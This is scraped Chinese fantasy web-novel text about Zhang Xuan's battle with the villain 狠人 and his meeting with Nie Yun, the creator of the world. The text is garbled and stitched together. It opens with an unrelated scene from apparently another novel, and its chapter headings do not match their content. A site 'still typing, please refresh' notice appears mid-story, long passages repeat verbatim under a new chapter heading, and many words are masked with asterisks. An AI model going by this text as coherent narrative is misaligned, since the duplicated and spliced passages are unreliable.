只见高大的宫门处,一人玄甲披风,身姿挺拔,手持长弓,如同战神般屹立在清冷的月光下。 秦休目光扫过现场,脸上满是自责,大步流星地上前,单膝重重跪倒在陆禀面前,声音沉痛: “臣秦休护驾来迟,令陛下受惊负伤,臣罪该万死,请陛下恕罪!” “秦……秦爱卿……你来了朕就放心了……” 陆禀哆嗦着嘴唇,看着跪在面前的秦休,紧绷到极致的心弦猛地一松,一股劫后余生的巨大庆幸和后怕如同潮水般将他淹没。 他张了张嘴,还想说什么,眼前却是一阵天旋地转,黑暗如同潮水般涌来。 “朕……”陆禀闷哼一声,两眼翻白,身体一软,直挺挺地向后晕厥过去。 第187章拜访埋线 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中**出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情**,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们**,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以**……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他**……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法**吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法**,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经**是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,**顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽**下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会**,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具 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是人看了世界,才有了世界,还是先有世界,后有了人? 是风动,还是心动! 这个问题,亘古不朽的困扰着无数人。 当然,现在……这些都不重要了! 没有生命,没有情感,世界就算存在,又有何意义? 所以,突破爱情之后,是众生情!是交织天下的情感。 世间万物皆有情感,有情才有世界,有情感,才能延续生命。 爱,是情。 憎,是情。 高兴,是情。 痛苦,是情。 离别,是情。 相聚,也是情! “万千情意,为我所用……” 一声低呼,张悬体内禁锢的境界,瞬间破开。 帝君桎梏,突破了! 一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。 无数混沌之气,涌了过来,肉身也飞速提升。 之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。 “你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,**开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被**出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第188章好,答应你 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中**出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情**,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们**,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以**……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他**……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法**吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法**,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 